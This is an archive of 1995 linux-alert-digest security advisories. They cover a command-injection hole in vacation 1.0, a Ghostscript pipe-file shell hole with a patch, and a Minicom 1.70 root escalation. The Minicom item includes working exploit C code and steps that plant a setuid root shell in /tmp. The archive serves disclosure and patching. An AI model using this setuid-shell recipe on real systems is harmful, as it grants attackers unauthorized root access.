- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMBaT34xFUz2t8+6VAQEo/AP/SThg3ZHwM3hklsMGujOcLUPisNuJxo50
sLkqQi0mlc2Oo3nFDzLG0mvoX9M5Jer0qp1osdLTlZaxztYfhJSGJJjoAjK91hBR
dw1BCdMwhwlrfizaVi1ZLMFmlFvX8YKEMAaLwuQdFHCo/KhSOlb/4rrMunGPdUtl
RtFXqQDDl6o=
=Po3y
- -----END PGP SIGNATURE-----
============================================================================
Alexander O. Yuriev Email: [email protected]
CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex
Philadelphia, PA, USA
PGP Key: 1024/ADF3EE95 Fingerprint: AB4FE7382C3627BC 6934EC2A2C05AB62
Unless otherwise stated, everything above is my personal opinion and not an
opinion of any organisation affiliated with me.
=============================================================================
------------------------------
From: Jeff Uphoff
Date: Wed, 2 Aug 1995 13:04:45 -0400
Subject: SECURITY ALERT: Dangerous hole in vacation v1.0.
- -----BEGIN PGP SIGNED MESSAGE-----
A major security hole in the Linux version of 'vacation' has been
detected and corrected. This hole affects version 1.0 of 'vacation' as
ported to Linux by Harald Milz (from Eric Allman's
original BSD source) and found on sunsite.unc.edu and other FTP sites
(and thus commonly used on Linux systems).
Note: The hole was introduced in the Linux port/version and does not
appear to affect other, non-Linux-specific, versions of vacation.
The hole involved passing the Subject: and From: headers of the incoming
e-mail message to 'sed' and 'sendmail' via a system() call. The extreme
danger of this, especially in a program that is taking input from remote
systems, should be apparent to most people that are familiar with the
system() call internals.
Thanks go to Olaf Kirch for detecting this hole and
for coding an initial fix, and to Harald Milz for enhancing Olaf's fix
to provide the same functionality as his (Harald's) previous version.
Version 1.1 (recently uploaded to sunsite.unc.edu) is a "safe" version.
UNDER _NO_ CIRCUMSTANCES SHOULD VERSION 1.0 BE USED!
Here is the LSM entry for the updated version:
Begin3
Title: Automatic mail answering program for Linux
Version: 1.1
Entered-Date: July 29, 1995
Description: This is the port of the 386bsd vacation program to Linux.
Vacation is the automatic mail answering program found
on many Unix systems.
This is a security fixed version. PLEASE DON'T USE vacation-1.0
ANY LONGER!
Keywords: vacation, mail answering
Author: Eric Allman (?)
Maintained-By: Harald Milz ([email protected])
Primary-Site: sunsite.unc.edu /pub/Linux/system/Mail/mailhandlers
28 KB vacation-1.1.tar.gz
Original-Site: agate.berkeley.edu (as of Nov 16, 1993)
Platforms: GCC 2.6.3, libc 5.0.9 or libc 4.7.2
Copying-Policy: Copyright (c) 1983, 1987 Regents of the University of California
changes relative to the original version: GPL
End
In addition to Sunsite, the updated version is available in
linux.nrao.edu:/pub/linux/security/vacation/. MD5 checksum of the
tar-file on linux.nrao.edu is:
f37ab91e18de1caa2c657509d8eb073b vacation-1.1.tar.gz
Note: For those that get syslog messages from 'sendmail' saying "mailer
prog died with signal 13" when running this new v1.1 (it's a SEGV; the
13 is octal), try the following patch (Harald plans on adding this, as
well as a couple of other slight modifications that I have made, in a
future public update to the newly-released v1.1):
diff -u --recursive 1.1-hm/vacation.c 1.1/vacation.c
--- 1.1-hm/vacation.c Sat Jul 29 18:08:57 1995
+++ 1.1/vacation.c Sun Jul 30 13:39:41 1995
@@ -184,8 +184,8 @@
setreply();
(void) gdbm_close(db);
sendmessage(pw->pw_name);
- }
- (void) gdbm_close(db);
+ } else
+ (void) gdbm_close(db);
exit(0);
/* NOTREACHED */
}
- - --
Jeff Uphoff - systems/network admin. | [email protected]
National Radio Astronomy Observatory | [email protected]
Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/
- -----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMB+wBrxzFUpUTHgFAQGuwwQA1XLiDP93tUE84d0nQOz34iM6GtHBF4AT
9IXsHNrgZpAwUcbYsYTlmvICrrxqyozBkfqGYTpH44ajV5dGcqb9FZmyO//x7/JY
LaejDEnp8ByigDf0++w7cxoRF7gwWFeNq2WvpFgbgqLWEer+Ci/mBKkEo0FY397E
TQWmk4ekFJ8=
=akI7
- -----END PGP SIGNATURE-----
------------------------------
End of linux-alert-digest V1 #6
*******************************
linux-alert-digest/1995/v01.n007100664 1767 1767 5126 6021013402 15255 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V1 #7
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Wednesday, 30 August 1995 Volume 01 : Number 007
Ghostscript problem
----------------------------------------------------------------------
From: [email protected] (Olaf Kirch)
Date: Tue, 22 Aug 1995 21:29:19 +0200 (MET DST)
Subject: Ghostscript problem
- -----BEGIN PGP SIGNED MESSAGE-----
Hi all,
There's another problem with ghostscript that makes you vulnerable to
attacks via postscript code. Ghostscript has a file type that lets you
execute arbitrary commands through the shell. While the -dSAFER option
to gs protects you from ordinary file write/rename/removal attacks, it
does not check for this special file type. The hole is present in all
GNU versions up to 2.6.2 and Aladdin versions earlier than 3.22.
Below's a fix to gs_init.ps that fixes this.
Please also make sure that all programs that use ghostscript set the -dSAFER
option. ghostview 1.5 does by default, but version 1.4 does not. I'd
suggest you also check your ps printer filter if you print postscript
files using gs, and xdvi if you use a version that uses ghostscript to
display postscript \special's. I checked only xdvi-20, and it's safe.
Olaf
PS: Patch follows. PGP will garble initial `-' characters in the
patch; make sure to replace `- -' with `-' before applying it.
- - ------------------------------------------------------------------
- - --- gs_init.ps.orig Sun Aug 20 23:22:01 1995
+++ gs_init.ps Sun Aug 20 23:22:46 1995
@@ -302,7 +302,8 @@
% If we want a "safer" system, disable some obvious ways to cause havoc.
SAFER not { (%END SAFER) .skipeof } if
/file
- - - { dup (r) eq
+ { exch dup /..fname exch def exch
+ dup (r) eq ..fname (%pipe%*) .stringmatch not and
{ file }
{ /invalidfileaccess signalerror }
ifelse
- - ------------------------------------------------------------------
- - --
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
For my PGP public key, finger [email protected].
- -----BEGIN PGP SIGNATURE-----
Version: 2.6
iQCVAgUBMDowAOFnVHXv40etAQH3swP8CrvRFW2+wXgqJqQTdCVIgUGk/QasREgP
PPwaYKy/oD0ak2HFXXdvkUoMbGlhDqlVbDY7cm0M7wuTAxpejtPxspDlacvQSuO7
XA50N9++2P5npmFWa6IBupz4X69nPlnAVBjk/qF4PbpMKdrgIWx23CqecccBrmeC
kezpwwcp32Y=
=dhSU
- -----END PGP SIGNATURE-----
------------------------------
End of linux-alert-digest V1 #7
*******************************
linux-alert-digest/1995/v01.n008100664 1767 1767 5602 6030735402 15270 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V1 #8
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Saturday, 23 September 1995 Volume 01 : Number 008
Minicom 1.70
----------------------------------------------------------------------
From: Aleph One
Date: Fri, 15 Sep 1995 13:05:09 -0500 (CDT)
Subject: Minicom 1.70
Program: Minicom 1.70.
Problem: Minicom users defined in its minicom.users file can gain root access.
Explanation: Some distributions install minicom setuid root so that it
can access callout devices (/dev/cua0, /dev/ttyS0, /dev/modem).
Minicom also allows users to create scripts that can be used
to automate logins, and other tasks. This scripts are interpreted
by runscript(1). runscript(1) allows arbitrary shell escapes.
Minicom forks and exec runscript(1) without calling setreuid(2)
to drop priviledges. Therefore it fallows the user can execute
arbitrary commands with the privilege of minicom.
To complicate matters even more some distributions install
minicom.users file with default user names. In the case of
Slackware this are: gonzo, satan, snake. If you create accounts
with this names on you system you are oppening you self to
a security breach. If you have accounts under those name you might
want to disable them until security is restored. If a users
asks you to change their username to one of those or to create an
account with one of those names DO NOT DO IT!
Exploit: Create a program that sets its real and effective uid to 0,
then executes a shell command such as copying a shell and making it
setuid root. This will do:
#include
#include
void main() {
setreuid(0,0);
system("/bin/cp /bin/sh /tmp/mysh");
system("/bin/chmod 4777 /tmp/mysh");
}
Create a minicom script that will execute our program.
echo '! /tmp/gime' > /tmp/foo
Start minicom and type Control-A then G. Select C and enter
the name for our minicom script (/tmp/foo). Hit return and
execute the script. Exit minicom and you should find a setuid sh
named as /tmp/mysh.
Solution: Upgrade to minicom 1.71. Futhermore minicom should not be suid root.
Minicom should be of the same group as the dialout device (normally
tty, dialout, modem, or uucp), and setguid. On a side note many
distributions have the correct premission in the /dev/cua devices
but not on their equivalent /dev/ttyS devices. This is the case of
debian 0.93. To fix chown root.dialout /dev/ttyS*; chmod o-rwx
/dev/ttyS*. Make sure that this does brake your other serial devices
such as your mouse.
Aleph One / [email protected]
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint B6 C3 BD 8A 7A 79 03 55 CC 24 F4 01 2B BD 90 3A
------------------------------
End of linux-alert-digest V1 #8
*******************************
linux-alert-digest/1995/v01.n009100664 1767 1767 11752 6043636201 15315 0ustar majdommajdomFrom: owner-linux-alert-digest
To: [email protected]
Subject: linux-alert-digest V1 #9
Reply-To: linux-security
Errors-To: owner-linux-alert-digest
Precedence: bulk
linux-alert-digest Thursday, 26 October 1995 Volume 01 : Number 009
URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability
----------------------------------------------------------------------
From: alex
Date: Tue, 17 Oct 1995 20:34:06 -0400 (EDT)
Subject: URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability
[NB: I didn't write the adduser replacement; I just modified it. --okir]
- -----BEGIN PGP SIGNED MESSAGE-----
adduser-1.0 Security Vulnerability
LINUX SECURITY FAQ UPDATE
October 17, 1995 15:30:01 EST
Copyright (C) 1995 Alexander O. Yuriev ([email protected])
CIS Laboratories
TEMPLE UNIVERSITY
U.S.A.
=============================================================================
This is an official update of the Linux security FAQ, and it is supposed to
be signed by one of the following PGP keys:
1024/544C7805 1994/07/17 Jeffrey A. Uphoff
Jeffrey A. Uphoff
1024/EFE347AD 1995/02/17 Olaf Kirch
1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key